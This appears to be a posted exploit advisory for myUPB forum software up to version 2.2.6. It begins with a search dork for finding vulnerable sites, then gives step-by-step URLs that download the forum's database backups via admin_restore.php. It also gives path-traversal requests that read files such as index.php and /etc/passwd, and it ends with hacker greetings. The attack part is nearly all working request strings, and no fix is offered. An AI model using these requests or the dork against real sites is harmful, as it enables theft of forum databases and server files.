myUPB 2.2.6 Local File Inclusion

`  
  
=============== altbta ======================  
  
#Name: myUPB <= v2.2.6 Multiple Vulnerabilities  
  
#Download: http://sourceforge.net/projects/textmb/files/UPB/  
  
#Vulnerability: CSRF privilege escalation  
  
#Tested on: 2.2.6  
  
#Author : altbta ([email protected])  
  
#Dork: "Powered by myUPB"  
  
================= backup exploit: ==============  
  
backup exploit:  
register.php  
http://localhost/upb/register.php  
  
go too  
  
http://localhost/upb/admin_restore.php?action=download  
  
Download:  
  
upbdatabackup_v2.2.6_06.21.2010.1277118622.zip  
upbdatabackup_v2.2.6_06.21.2010.1277118651.zip  
upbdatabackup_v2.2.6_06.21.2010.1277118703.zip  
upbdatabackup_v2.2.6_06.21.2010.1277118704.zip  
  
http://localhost/upb/admin_restore.php?action=download&file=upbdatabackup_v2.2.6_06.21.2010.1277118704.zip  
  
================= LFI exploit: ==============  
LFI exploit:  
  
register.php  
http://localhost/upb/register.php  
  
go too  
  
  
http://localhost/upb/admin_restore.php?action=download&file=../../../index.php  
  
http://localhost/upb/admin_restore.php?action=download&file=../../../../../../../etc/passwd  
  
  
#####################################################################  
RoMaNcYxHaCkEr & sad hacker & ab0-3th4b & Mr.SaFa7 & Mn7oS & V ! V 3  
Evil-Cod3r & asL-Sabia & ! Dr.www ! & MaKKaWi & ZaIdOoHxHaCkEr & al.bito  
SnIpEr.SiTeS & R3d-D3v!L  
  
xp10.me/xp10 & v4-team.com/cc  
  
  
  
`